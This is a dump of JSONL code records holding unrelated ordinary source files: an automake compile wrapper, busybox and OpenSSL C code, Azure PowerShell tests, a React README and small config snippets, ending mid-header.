lib=$lib.lib\n fi\n}\n\n# func_cl_wrapper cl arg...\n# Adjust compile command to suit cl\nfunc_cl_wrapper ()\n{\n # Assume a capable shell\n lib_path=\n shared=:\n linker_opts=\n for arg\n do\n if test -n \"$eat\"; then\n eat=\n else\n case $1 in\n\t-o)\n\t # configure might choose to run compile as 'compile cc -o foo foo.c'.\n\t eat=1\n\t case $2 in\n\t *.o | *.[oO][bB][jJ])\n\t func_file_conv \"$2\"\n\t set x \"$@\" -Fo\"$file\"\n\t shift\n\t ;;\n\t *)\n\t func_file_conv \"$2\"\n\t set x \"$@\" -Fe\"$file\"\n\t shift\n\t ;;\n\t esac\n\t ;;\n\t-I)\n\t eat=1\n\t func_file_conv \"$2\" mingw\n\t set x \"$@\" -I\"$file\"\n\t shift\n\t ;;\n\t-I*)\n\t func_file_conv \"${1#-I}\" mingw\n\t set x \"$@\" -I\"$file\"\n\t shift\n\t ;;\n\t-l)\n\t eat=1\n\t func_cl_dashl \"$2\"\n\t set x \"$@\" \"$lib\"\n\t shift\n\t ;;\n\t-l*)\n\t func_cl_dashl \"${1#-l}\"\n\t set x \"$@\" \"$lib\"\n\t shift\n\t ;;\n\t-L)\n\t eat=1\n\t func_cl_dashL \"$2\"\n\t ;;\n\t-L*)\n\t func_cl_dashL \"${1#-L}\"\n\t ;;\n\t-static)\n\t shared=false\n\t ;;\n\t-Wl,*)\n\t arg=${1#-Wl,}\n\t save_ifs=\"$IFS\"; IFS=','\n\t for flag in $arg; do\n\t IFS=\"$save_ifs\"\n\t linker_opts=\"$linker_opts $flag\"\n\t done\n\t IFS=\"$save_ifs\"\n\t ;;\n\t-Xlinker)\n\t eat=1\n\t linker_opts=\"$linker_opts $2\"\n\t ;;\n\t-*)\n\t set x \"$@\" \"$1\"\n\t shift\n\t ;;\n\t*.cc | *.CC | *.cxx | *.CXX | *.[cC]++)\n\t func_file_conv \"$1\"\n\t set x \"$@\" -Tp\"$file\"\n\t shift\n\t ;;\n\t*.c | *.cpp | *.CPP | *.lib | *.LIB | *.Lib | *.OBJ | *.obj | *.[oO])\n\t func_file_conv \"$1\" mingw\n\t set x \"$@\" \"$file\"\n\t shift\n\t ;;\n\t*)\n\t set x \"$@\" \"$1\"\n\t shift\n\t ;;\n esac\n fi\n shift\n done\n if test -n \"$linker_opts\"; then\n linker_opts=\"-link$linker_opts\"\n fi\n exec \"$@\" $linker_opts\n exit 1\n}\n\neat=\n\ncase $1 in\n '')\n echo \"$0: No command. Try '$0 --help' for more information.\" 1>&2\n exit 1;\n ;;\n -h | --h*)\n cat <<\\EOF\nUsage: compile [--help] [--version] PROGRAM [ARGS]\n\nWrapper for compilers which do not understand '-c -o'.\nRemove '-o dest.o' from ARGS, run PROGRAM with the remaining\narguments, and rename the output as expected.\n\nIf you are trying to build a whole package this is not the\nright script to run: please start by reading the file 'INSTALL'.\n\nReport bugs to .\nEOF\n exit $?\n ;;\n -v | --v*)\n echo \"compile $scriptversion\"\n exit $?\n ;;\n cl | *[/\\\\]cl | cl.exe | *[/\\\\]cl.exe )\n func_cl_wrapper \"$@\" # Doesn't return...\n ;;\nesac\n\nofile=\ncfile=\n\nfor arg\ndo\n if test -n \"$eat\"; then\n eat=\n else\n case $1 in\n -o)\n\t# configure might choose to run compile as 'compile cc -o foo foo.c'.\n\t# So we strip '-o arg' only if arg is an object.\n\teat=1\n\tcase $2 in\n\t *.o | *.obj)\n\t ofile=$2\n\t ;;\n\t *)\n\t set x \"$@\" -o \"$2\"\n\t shift\n\t ;;\n\tesac\n\t;;\n *.c)\n\tcfile=$1\n\tset x \"$@\" \"$1\"\n\tshift\n\t;;\n *)\n\tset x \"$@\" \"$1\"\n\tshift\n\t;;\n esac\n fi\n shift\ndone\n\nif test -z \"$ofile\" || test -z \"$cfile\"; then\n # If no '-o' option was seen then we might have been invoked from a\n # pattern rule where we don't need one. That is ok -- this is a\n # normal compilation that the losing compiler can handle. If no\n # '.c' file was seen then we are probably linking. That is also\n # ok.\n exec \"$@\"\nfi\n\n# Name of file we expect compiler to create.\ncofile=`echo \"$cfile\" | sed 's|^.*[\\\\/]||; s|^[a-zA-Z]:||; s/\\.c$/.o/'`\n\n# Create the lock directory.\n# Note: use '[/\\\\:.-]' here to ensure that we don't use the same name\n# that we are using for the .o file. Also, base the name on the expected\n# object file name, since that is what matters with a parallel build.\nlockdir=`echo \"$cofile\" | sed -e 's|[/\\\\:.-]|_|g'`.d\nwhile true; do\n if mkdir \"$lockdir\" >/dev/null 2>&1; then\n break\n fi\n sleep 1\ndone\n# FIXME: race condition here if user kills between mkdir and trap.\ntrap \"rmdir '$lockdir'; exit 1\" 1 2 15\n\n# Run the compile.\n\"$@\"\nret=$?\n\nif test -f \"$cofile\"; then\n test \"$cofile\" = \"$ofile\" || mv \"$cofile\" \"$ofile\"\nelif test -f \"${cofile}bj\"; then\n test \"${cofile}bj\" = \"$ofile\" || mv \"${cofile}bj\" \"$ofile\"\nfi\n\nrmdir \"$lockdir\"\nexit $ret\n\n# Local Variables:\n# mode: shell-script\n# sh-indentation: 2\n# eval: (add-hook 'write-file-hooks 'time-stamp)\n# time-stamp-start: \"scriptversion=\"\n# time-stamp-format: \"%:y-%02m-%02d.%02H\"\n# time-stamp-time-zone: \"UTC\"\n# time-stamp-end: \"; # UTC\"\n# End:\n"} -{"text": "'use strict';\n\nmodule.exports = function () {\n\tvar dummyRegExp = /a/;\n\t// We need to do check on instance and not on prototype due to how ES2015 spec evolved:\n\t// https://github.com/tc39/ecma262/issues/262\n\t// https://github.com/tc39/ecma262/pull/263\n\t// https://bugs.chromium.org/p/v8/issues/detail?id=4617\n\treturn 'sticky' in dummyRegExp;\n};\n"} -{"text": "/*\n * mode_string implementation for busybox\n *\n * Copyright (C) 2003 Manuel Novoa III \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n */\n\n/* Aug 13, 2003\n * Fix a bug reported by junkio@cox.net involving the mode_chars index.\n */\n\n\n#include \n#include \n\n#if ( S_ISUID != 04000 ) || ( S_ISGID != 02000 ) || ( S_ISVTX != 01000 ) \\\n || ( S_IRUSR != 00400 ) || ( S_IWUSR != 00200 ) || ( S_IXUSR != 00100 ) \\\n || ( S_IRGRP != 00040 ) || ( S_IWGRP != 00020 ) || ( S_IXGRP != 00010 ) \\\n || ( S_IROTH != 00004 ) || ( S_IWOTH != 00002 ) || ( S_IXOTH != 00001 )\n#error permission bitflag value assumption(s) violated!\n#endif\n\n#if ( S_IFSOCK!= 0140000 ) || ( S_IFLNK != 0120000 ) \\\n || ( S_IFREG != 0100000 ) || ( S_IFBLK != 0060000 ) \\\n || ( S_IFDIR != 0040000 ) || ( S_IFCHR != 0020000 ) \\\n || ( S_IFIFO != 0010000 )\n#warning mode type bitflag value assumption(s) violated! falling back to larger version\n\n#if (S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID | S_ISVTX) == 07777\n#undef mode_t\n#define mode_t unsigned short\n#endif\n\nstatic const mode_t mode_flags[] = {\n\tS_IRUSR, S_IWUSR, S_IXUSR, S_ISUID,\n\tS_IRGRP, S_IWGRP, S_IXGRP, S_ISGID,\n\tS_IROTH, S_IWOTH, S_IXOTH, S_ISVTX\n};\n\n/* The static const char arrays below are duplicated for the two cases\n * because moving them ahead of the mode_flags declaration cause a text\n * size increase with the gcc version I'm using. */\n\n/* The previous version used \"0pcCd?bB-?l?s???\". However, the '0', 'C',\n * and 'B' types don't appear to be available on linux. So I removed them. */\nstatic const char type_chars[16] = \"?pc?d?b?-?l?s???\";\n/* 0123456789abcdef */\nstatic const char mode_chars[7] = \"rwxSTst\";\n\nconst char *bb_mode_string(int mode)\n{\n\tstatic char buf[12];\n\tchar *p = buf;\n\n\tint i, j, k;\n\n\t*p = type_chars[ (mode >> 12) & 0xf ];\n\ti = 0;\n\tdo {\n\t\tj = k = 0;\n\t\tdo {\n\t\t\t*++p = '-';\n\t\t\tif (mode & mode_flags[i+j]) {\n\t\t\t\t*p = mode_chars[j];\n\t\t\t\tk = j;\n\t\t\t}\n\t\t} while (++j < 3);\n\t\tif (mode & mode_flags[i+j]) {\n\t\t\t*p = mode_chars[3 + (k & 2) + ((i&8) >> 3)];\n\t\t}\n\t\ti += 4;\n\t} while (i < 12);\n\n\t/* Note: We don't bother with nul termination because bss initialization\n\t * should have taken care of that for us. If the user scribbled in buf\n\t * memory, they deserve whatever happens. But we'll at least assert. */\n\tif (buf[10] != 0) return NULL;\n\n\treturn buf;\n}\n\n#else\n\n/* The previous version used \"0pcCd?bB-?l?s???\". However, the '0', 'C',\n * and 'B' types don't appear to be available on linux. So I removed them. */\nstatic const char type_chars[16] = \"?pc?d?b?-?l?s???\";\n/* 0123456789abcdef */\nstatic const char mode_chars[7] = \"rwxSTst\";\n\nconst char *bb_mode_string(int mode)\n{\n\tstatic char buf[12];\n\tchar *p = buf;\n\n\tint i, j, k, m;\n\n\t*p = type_chars[ (mode >> 12) & 0xf ];\n\ti = 0;\n\tm = 0400;\n\tdo {\n\t\tj = k = 0;\n\t\tdo {\n\t\t\t*++p = '-';\n\t\t\tif (mode & m) {\n\t\t\t\t*p = mode_chars[j];\n\t\t\t\tk = j;\n\t\t\t}\n\t\t\tm >>= 1;\n\t\t} while (++j < 3);\n\t\t++i;\n\t\tif (mode & (010000 >> i)) {\n\t\t\t*p = mode_chars[3 + (k & 2) + (i == 3)];\n\t\t}\n\t} while (i < 3);\n\n\t/* Note: We don't bother with nul termination because bss initialization\n\t * should have taken care of that for us. If the user scribbled in buf\n\t * memory, they deserve whatever happens. But we'll at least assert. */\n\tif (buf[10] != 0) return NULL;\n\n\treturn buf;\n}\n\n#endif\n"} -{"text": "\ufeff# ----------------------------------------------------------------------------------\n#\n# Copyright Microsoft Corporation\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ----------------------------------------------------------------------------------\n\n<#\n.SYNOPSIS\nCreate subscription\n#>\nfunction Test-NewSubscription\n{\n # $accounts = Get-AzEnrollmentAccount\n $accounts = @(@{ ObjectId = \"455fd0a7-b04e-4a92-9e1b-d0650c8ba276\" })\n \n # Verify the caller has at least one enrollment account.\n Assert-True { $accounts.Count -gt 0 }\n\n $myNewSubName = GetAssetName\n\n $newSub = New-AzSubscription -EnrollmentAccountObjectId $accounts[0].ObjectId -Name $myNewSubName -OfferType MS-AZR-0017P\n\n Assert-AreEqual $myNewSubName $newSub.Name\n\tAssert-NotNull $newSub.SubscriptionId\n}\n\nfunction Test-UpdateRenameSubscription\n{\n $subId = \"21cba39d-cbbc-487f-9749-43c5c960f269\"\n\n $updateSub = Update-AzSubscription -SubscriptionId $subId -Action \"Rename\" -Name \"RenameFromPowershell\"\n\n\tAssert-NotNull updateSub.SubscriptionId\n}\n\nfunction Test-UpdateCancelSubscription\n{\n $subId = \"21cba39d-cbbc-487f-9749-43c5c960f269\"\n\n $updateSub = Update-AzSubscription -SubscriptionId $subId -Action \"Cancel\"\n\n\tAssert-NotNull updateSub.SubscriptionId\n}\n"} -{"text": "This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).\n\n## Available Scripts\n\nIn the project directory, you can run:\n\n### `npm start`\n\nRuns the app in the development mode.
    \nOpen [http://localhost:3000](http://localhost:3000) to view it in the browser.\n\nThe page will reload if you make edits.
    \nYou will also see any lint errors in the console.\n\n### `npm test`\n\nLaunches the test runner in the interactive watch mode.
    \nSee the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information.\n\n### `npm run build`\n\nBuilds the app for production to the `build` folder.
    \nIt correctly bundles React in production mode and optimizes the build for the best performance.\n\nThe build is minified and the filenames include the hashes.
    \nYour app is ready to be deployed!\n\nSee the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information.\n\n### `npm run eject`\n\n**Note: this is a one-way operation. Once you `eject`, you can\u2019t go back!**\n\nIf you aren\u2019t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project.\n\nInstead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you\u2019re on your own.\n\nYou don\u2019t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn\u2019t feel obligated to use this feature. However we understand that this tool wouldn\u2019t be useful if you couldn\u2019t customize it when you are ready for it.\n\n## Learn More\n\nYou can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started).\n\nTo learn React, check out the [React documentation](https://reactjs.org/).\n\n### Code Splitting\n\nThis section has moved here: https://facebook.github.io/create-react-app/docs/code-splitting\n\n### Analyzing the Bundle Size\n\nThis section has moved here: https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size\n\n### Making a Progressive Web App\n\nThis section has moved here: https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app\n\n### Advanced Configuration\n\nThis section has moved here: https://facebook.github.io/create-react-app/docs/advanced-configuration\n\n### Deployment\n\nThis section has moved here: https://facebook.github.io/create-react-app/docs/deployment\n\n### `npm run build` fails to minify\n\nThis section has moved here: https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify\n"} -{"text": "/* crypto/bio/bio_lib.c */\n/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)\n * All rights reserved.\n *\n * This package is an SSL implementation written\n * by Eric Young (eay@cryptsoft.com).\n * The implementation was written so as to conform with Netscapes SSL.\n *\n * This library is free for commercial and non-commercial use as long as\n * the following conditions are aheared to. The following conditions\n * apply to all code found in this distribution, be it the RC4, RSA,\n * lhash, DES, etc., code; not just the SSL code. The SSL documentation\n * included with this distribution is covered by the same copyright terms\n * except that the holder is Tim Hudson (tjh@cryptsoft.com).\n *\n * Copyright remains Eric Young's, and as such any Copyright notices in\n * the code are not to be removed.\n * If this package is used in a product, Eric Young should be given attribution\n * as the author of the parts of the library used.\n * This can be in the form of a textual message at program startup or\n * in documentation (online or textual) provided with the package.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n * \"This product includes cryptographic software written by\n * Eric Young (eay@cryptsoft.com)\"\n * The word 'cryptographic' can be left out if the rouines from the library\n * being used are not cryptographic related :-).\n * 4. If you include any Windows specific code (or a derivative thereof) from\n * the apps directory (application code) you must include an acknowledgement:\n * \"This product includes software written by Tim Hudson (tjh@cryptsoft.com)\"\n *\n * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * The licence and distribution terms for any publically available version or\n * derivative of this code cannot be changed. i.e. this code cannot simply be\n * copied and put under another distribution licence\n * [including the GNU Public Licence.]\n */\n\n#include \n#include \n#include \n#include \"cryptlib.h\"\n#include \n#include \n\nBIO *BIO_new(BIO_METHOD *method)\n{\n BIO *ret = NULL;\n\n ret = (BIO *)OPENSSL_malloc(sizeof(BIO));\n if (ret == NULL) {\n BIOerr(BIO_F_BIO_NEW, ERR_R_MALLOC_FAILURE);\n return (NULL);\n }\n if (!BIO_set(ret, method)) {\n OPENSSL_free(ret);\n ret = NULL;\n }\n return (ret);\n}\n\nint BIO_set(BIO *bio, BIO_METHOD *method)\n{\n bio->method = method;\n bio->callback = NULL;\n bio->cb_arg = NULL;\n bio->init = 0;\n bio->shutdown = 1;\n bio->flags = 0;\n bio->retry_reason = 0;\n bio->num = 0;\n bio->ptr = NULL;\n bio->prev_bio = NULL;\n bio->next_bio = NULL;\n bio->references = 1;\n bio->num_read = 0L;\n bio->num_write = 0L;\n CRYPTO_new_ex_data(CRYPTO_EX_INDEX_BIO, bio, &bio->ex_data);\n if (method->create != NULL)\n if (!method->create(bio)) {\n CRYPTO_free_ex_data(CRYPTO_EX_INDEX_BIO, bio, &bio->ex_data);\n return (0);\n }\n return (1);\n}\n\nint BIO_free(BIO *a)\n{\n int i;\n\n if (a == NULL)\n return (0);\n\n i = CRYPTO_add(&a->references, -1, CRYPTO_LOCK_BIO);\n#ifdef REF_PRINT\n REF_PRINT(\"BIO\", a);\n#endif\n if (i > 0)\n return (1);\n#ifdef REF_CHECK\n if (i < 0) {\n fprintf(stderr, \"BIO_free, bad reference count\\n\");\n abort();\n }\n#endif\n if ((a->callback != NULL) &&\n ((i = (int)a->callback(a, BIO_CB_FREE, NULL, 0, 0L, 1L)) <= 0))\n return (i);\n\n CRYPTO_free_ex_data(CRYPTO_EX_INDEX_BIO, a, &a->ex_data);\n\n if ((a->method != NULL) && (a->method->destroy != NULL))\n a->method->destroy(a);\n OPENSSL_free(a);\n return (1);\n}\n\nvoid BIO_vfree(BIO *a)\n{\n BIO_free(a);\n}\n\nvoid BIO_clear_flags(BIO *b, int flags)\n{\n b->flags &= ~flags;\n}\n\nint BIO_test_flags(const BIO *b, int flags)\n{\n return (b->flags & flags);\n}\n\nvoid BIO_set_flags(BIO *b, int flags)\n{\n b->flags |= flags;\n}\n\nlong (*BIO_get_callback(const BIO *b)) (struct bio_st *, int, const char *,\n int, long, long) {\n return b->callback;\n}\n\nvoid BIO_set_callback(BIO *b,\n long (*cb) (struct bio_st *, int, const char *, int,\n long, long))\n{\n b->callback = cb;\n}\n\nvoid BIO_set_callback_arg(BIO *b, char *arg)\n{\n b->cb_arg = arg;\n}\n\nchar *BIO_get_callback_arg(const BIO *b)\n{\n return b->cb_arg;\n}\n\nconst char *BIO_method_name(const BIO *b)\n{\n return b->method->name;\n}\n\nint BIO_method_type(const BIO *b)\n{\n return b->method->type;\n}\n\nint BIO_read(BIO *b, void *out, int outl)\n{\n int i;\n long (*cb) (BIO *, int, const char *, int, long, long);\n\n if ((b == NULL) || (b->method == NULL) || (b->method->bread == NULL)) {\n BIOerr(BIO_F_BIO_READ, BIO_R_UNSUPPORTED_METHOD);\n return (-2);\n }\n\n cb = b->callback;\n if ((cb != NULL) &&\n ((i = (int)cb(b, BIO_CB_READ, out, outl, 0L, 1L)) <= 0))\n return (i);\n\n if (!b->init) {\n BIOerr(BIO_F_BIO_READ, BIO_R_UNINITIALIZED);\n return (-2);\n }\n\n i = b->method->bread(b, out, outl);\n\n if (i > 0)\n b->num_read += (unsigned long)i;\n\n if (cb != NULL)\n i = (int)cb(b, BIO_CB_READ | BIO_CB_RETURN, out, outl, 0L, (long)i);\n return (i);\n}\n\nint BIO_write(BIO *b, const void *in, int inl)\n{\n int i;\n long (*cb) (BIO *, int, const char *, int, long, long);\n\n if (b == NULL)\n return (0);\n\n cb = b->callback;\n if ((b->method == NULL) || (b->method->bwrite == NULL)) {\n BIOerr(BIO_F_BIO_WRITE, BIO_R_UNSUPPORTED_METHOD);\n return (-2);\n }\n\n if ((cb != NULL) &&\n ((i = (int)cb(b, BIO_CB_WRITE, in, inl, 0L, 1L)) <= 0))\n return (i);\n\n if (!b->init) {\n BIOerr(BIO_F_BIO_WRITE, BIO_R_UNINITIALIZED);\n return (-2);\n }\n\n i = b->method->bwrite(b, in, inl);\n\n if (i > 0)\n b->num_write += (unsigned long)i;\n\n if (cb != NULL)\n i = (int)cb(b, BIO_CB_WRITE | BIO_CB_RETURN, in, inl, 0L, (long)i);\n return (i);\n}\n\nint BIO_puts(BIO *b, const char *in)\n{\n int i;\n long (*cb) (BIO *, int, const char *, int, long, long);\n\n if ((b == NULL) || (b->method == NULL) || (b->method->bputs == NULL)) {\n BIOerr(BIO_F_BIO_PUTS, BIO_R_UNSUPPORTED_METHOD);\n return (-2);\n }\n\n cb = b->callback;\n\n if ((cb != NULL) && ((i = (int)cb(b, BIO_CB_PUTS, in, 0, 0L, 1L)) <= 0))\n return (i);\n\n if (!b->init) {\n BIOerr(BIO_F_BIO_PUTS, BIO_R_UNINITIALIZED);\n return (-2);\n }\n\n i = b->method->bputs(b, in);\n\n if (i > 0)\n b->num_write += (unsigned long)i;\n\n if (cb != NULL)\n i = (int)cb(b, BIO_CB_PUTS | BIO_CB_RETURN, in, 0, 0L, (long)i);\n return (i);\n}\n\nint BIO_gets(BIO *b, char *in, int inl)\n{\n int i;\n long (*cb) (BIO *, int, const char *, int, long, long);\n\n if ((b == NULL) || (b->method == NULL) || (b->method->bgets == NULL)) {\n BIOerr(BIO_F_BIO_GETS, BIO_R_UNSUPPORTED_METHOD);\n return (-2);\n }\n\n cb = b->callback;\n\n if ((cb != NULL) && ((i = (int)cb(b, BIO_CB_GETS, in, inl, 0L, 1L)) <= 0))\n return (i);\n\n if (!b->init) {\n BIOerr(BIO_F_BIO_GETS, BIO_R_UNINITIALIZED);\n return (-2);\n }\n\n i = b->method->bgets(b, in, inl);\n\n if (cb != NULL)\n i = (int)cb(b, BIO_CB_GETS | BIO_CB_RETURN, in, inl, 0L, (long)i);\n return (i);\n}\n\nint BIO_indent(BIO *b, int indent, int max)\n{\n if (indent < 0)\n indent = 0;\n if (indent > max)\n indent = max;\n while (indent--)\n if (BIO_puts(b, \" \") != 1)\n return 0;\n return 1;\n}\n\nlong BIO_int_ctrl(BIO *b, int cmd, long larg, int iarg)\n{\n int i;\n\n i = iarg;\n return (BIO_ctrl(b, cmd, larg, (char *)&i));\n}\n\nchar *BIO_ptr_ctrl(BIO *b, int cmd, long larg)\n{\n char *p = NULL;\n\n if (BIO_ctrl(b, cmd, larg, (char *)&p) <= 0)\n return (NULL);\n else\n return (p);\n}\n\nlong BIO_ctrl(BIO *b, int cmd, long larg, void *parg)\n{\n long ret;\n long (*cb) (BIO *, int, const char *, int, long, long);\n\n if (b == NULL)\n return (0);\n\n if ((b->method == NULL) || (b->method->ctrl == NULL)) {\n BIOerr(BIO_F_BIO_CTRL, BIO_R_UNSUPPORTED_METHOD);\n return (-2);\n }\n\n cb = b->callback;\n\n if ((cb != NULL) &&\n ((ret = cb(b, BIO_CB_CTRL, parg, cmd, larg, 1L)) <= 0))\n return (ret);\n\n ret = b->method->ctrl(b, cmd, larg, parg);\n\n if (cb != NULL)\n ret = cb(b, BIO_CB_CTRL | BIO_CB_RETURN, parg, cmd, larg, ret);\n return (ret);\n}\n\nlong BIO_callback_ctrl(BIO *b, int cmd,\n void (*fp) (struct bio_st *, int, const char *, int,\n long, long))\n{\n long ret;\n long (*cb) (BIO *, int, const char *, int, long, long);\n\n if (b == NULL)\n return (0);\n\n if ((b->method == NULL) || (b->method->callback_ctrl == NULL)) {\n BIOerr(BIO_F_BIO_CALLBACK_CTRL, BIO_R_UNSUPPORTED_METHOD);\n return (-2);\n }\n\n cb = b->callback;\n\n if ((cb != NULL) &&\n ((ret = cb(b, BIO_CB_CTRL, (void *)&fp, cmd, 0, 1L)) <= 0))\n return (ret);\n\n ret = b->method->callback_ctrl(b, cmd, fp);\n\n if (cb != NULL)\n ret = cb(b, BIO_CB_CTRL | BIO_CB_RETURN, (void *)&fp, cmd, 0, ret);\n return (ret);\n}\n\n/*\n * It is unfortunate to duplicate in functions what the BIO_(w)pending macros\n * do; but those macros have inappropriate return type, and for interfacing\n * from other programming languages, C macros aren't much of a help anyway.\n */\nsize_t BIO_ctrl_pending(BIO *bio)\n{\n return BIO_ctrl(bio, BIO_CTRL_PENDING, 0, NULL);\n}\n\nsize_t BIO_ctrl_wpending(BIO *bio)\n{\n return BIO_ctrl(bio, BIO_CTRL_WPENDING, 0, NULL);\n}\n\n/* put the 'bio' on the end of b's list of operators */\nBIO *BIO_push(BIO *b, BIO *bio)\n{\n BIO *lb;\n\n if (b == NULL)\n return (bio);\n lb = b;\n while (lb->next_bio != NULL)\n lb = lb->next_bio;\n lb->next_bio = bio;\n if (bio != NULL)\n bio->prev_bio = lb;\n /* called to do internal processing */\n BIO_ctrl(b, BIO_CTRL_PUSH, 0, lb);\n return (b);\n}\n\n/* Remove the first and return the rest */\nBIO *BIO_pop(BIO *b)\n{\n BIO *ret;\n\n if (b == NULL)\n return (NULL);\n ret = b->next_bio;\n\n BIO_ctrl(b, BIO_CTRL_POP, 0, b);\n\n if (b->prev_bio != NULL)\n b->prev_bio->next_bio = b->next_bio;\n if (b->next_bio != NULL)\n b->next_bio->prev_bio = b->prev_bio;\n\n b->next_bio = NULL;\n b->prev_bio = NULL;\n return (ret);\n}\n\nBIO *BIO_get_retry_BIO(BIO *bio, int *reason)\n{\n BIO *b, *last;\n\n b = last = bio;\n for (;;) {\n if (!BIO_should_retry(b))\n break;\n last = b;\n b = b->next_bio;\n if (b == NULL)\n break;\n }\n if (reason != NULL)\n *reason = last->retry_reason;\n return (last);\n}\n\nint BIO_get_retry_reason(BIO *bio)\n{\n return (bio->retry_reason);\n}\n\nBIO *BIO_find_type(BIO *bio, int type)\n{\n int mt, mask;\n\n if (!bio)\n return NULL;\n mask = type & 0xff;\n do {\n if (bio->method != NULL) {\n mt = bio->method->type;\n\n if (!mask) {\n if (mt & type)\n return (bio);\n } else if (mt == type)\n return (bio);\n }\n bio = bio->next_bio;\n } while (bio != NULL);\n return (NULL);\n}\n\nBIO *BIO_next(BIO *b)\n{\n if (!b)\n return NULL;\n return b->next_bio;\n}\n\nvoid BIO_free_all(BIO *bio)\n{\n BIO *b;\n int ref;\n\n while (bio != NULL) {\n b = bio;\n ref = b->references;\n bio = bio->next_bio;\n BIO_free(b);\n /* Since ref count > 1, don't free anyone else. */\n if (ref > 1)\n break;\n }\n}\n\nBIO *BIO_dup_chain(BIO *in)\n{\n BIO *ret = NULL, *eoc = NULL, *bio, *new_bio;\n\n for (bio = in; bio != NULL; bio = bio->next_bio) {\n if ((new_bio = BIO_new(bio->method)) == NULL)\n goto err;\n new_bio->callback = bio->callback;\n new_bio->cb_arg = bio->cb_arg;\n new_bio->init = bio->init;\n new_bio->shutdown = bio->shutdown;\n new_bio->flags = bio->flags;\n\n /* This will let SSL_s_sock() work with stdin/stdout */\n new_bio->num = bio->num;\n\n if (!BIO_dup_state(bio, (char *)new_bio)) {\n BIO_free(new_bio);\n goto err;\n }\n\n /* copy app data */\n if (!CRYPTO_dup_ex_data(CRYPTO_EX_INDEX_BIO, &new_bio->ex_data,\n &bio->ex_data)) {\n BIO_free(new_bio);\n goto err;\n }\n\n if (ret == NULL) {\n eoc = new_bio;\n ret = eoc;\n } else {\n BIO_push(eoc, new_bio);\n eoc = new_bio;\n }\n }\n return (ret);\n err:\n BIO_free_all(ret);\n\n return (NULL);\n}\n\nvoid BIO_copy_next_retry(BIO *b)\n{\n BIO_set_flags(b, BIO_get_retry_flags(b->next_bio));\n b->retry_reason = b->next_bio->retry_reason;\n}\n\nint BIO_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func,\n CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func)\n{\n return CRYPTO_get_ex_new_index(CRYPTO_EX_INDEX_BIO, argl, argp,\n new_func, dup_func, free_func);\n}\n\nint BIO_set_ex_data(BIO *bio, int idx, void *data)\n{\n return (CRYPTO_set_ex_data(&(bio->ex_data), idx, data));\n}\n\nvoid *BIO_get_ex_data(BIO *bio, int idx)\n{\n return (CRYPTO_get_ex_data(&(bio->ex_data), idx));\n}\n\nunsigned long BIO_number_read(BIO *bio)\n{\n if (bio)\n return bio->num_read;\n return 0;\n}\n\nunsigned long BIO_number_written(BIO *bio)\n{\n if (bio)\n return bio->num_write;\n return 0;\n}\n\nIMPLEMENT_STACK_OF(BIO)\n"} -{"text": "\n// +----------------------------------------------------------------------\n\n// +----------------------------------------------------------------------\n// | \u4e2d\u95f4\u4ef6\u914d\u7f6e\n// +----------------------------------------------------------------------\nreturn [\n // \u9ed8\u8ba4\u4e2d\u95f4\u4ef6\u547d\u540d\u7a7a\u95f4\n 'default_namespace' => 'app\\\\http\\\\middleware\\\\',\n];\n"} -{"text": "/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see LICENSE.md or https://www.libelektra.org)\n */\n\n#ifndef 